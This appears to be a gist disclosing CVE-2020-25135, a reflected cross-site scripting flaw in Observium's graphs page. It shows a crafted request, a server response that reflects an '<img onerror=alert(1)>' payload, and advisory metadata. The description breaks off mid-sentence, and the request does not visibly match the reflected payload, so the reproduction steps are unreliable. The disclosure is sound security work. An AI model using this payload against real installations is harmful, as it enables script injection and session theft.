mariuszpoplawski / **CVE-2020-25135**

Created 2 years ago

<> Code Revisions 1

CVE-2020-25135

```
CVE-2020-25135
-----------------------------------------
Cross Site Scripting in graphs

-----------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject a

[Additional Information]


Example request that allows to trigger XSS payload.

GET /graphs/type=device_processor/device=750/to=1597400077/from=1597400000/height=300/width=1152/showcommand=yes?graph_title=aa'--imginfo+'
Host: localhost
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ckey=a0d13aa3e4bada81f2ea93b39e6a2f71; dkey=eb43f290f773d04dacadbdcf605a6ccf; OBSID=61gdmjbd5unvrolld83jl8fvm17sevia; observium_scr


Partial of server response:

HTTP/1.1 200 OK
Date: Tue, 18 Aug 2020 07:17:53 GMT
Server: Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.2k-fips PHP/7.0.30
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
X-Powered-By: PHP/7.0.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=61gdmjbd5unvrolld83jl8fvm17sevia; expires=Tue, 18-Aug-2020 07:47:54 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: sandbox allow-forms allow-scripts allow-same-origin;
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1040752

<!DOCTYPE html>
<html lang="en">
<head>
    <base href="https://localhost/"/>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
(…)
  <div class="box-body">
RRDTool Output: ERROR: no command set in argument <img src=x onerror=alert(1)>aaaa<br />
          RRDtool Runtime: 0.013s |
          Total time: 0.013s  </div>


-----------------------------------------

[VulnerabilityType Other]
Cross Site Scripting

-----------------------------------------

[Vendor of Product]
https://www.observium.org/

-----------------------------------------

[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631

-----------------------------------------

[Affected Component]
graphs

-----------------------------------------

[Attack Type]
Remote

-----------------------------------------
```

```
82
83  [Reference]
84  https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
85  https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf
86  https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
87  https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
88  https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
89
90
91
92  ----------------------------------------
93
94  [Discoverer]
95  Mariusz Popławski
96
97  ----------------------------------------
98
99
100 Mariusz Popławski / AFINE.com team
```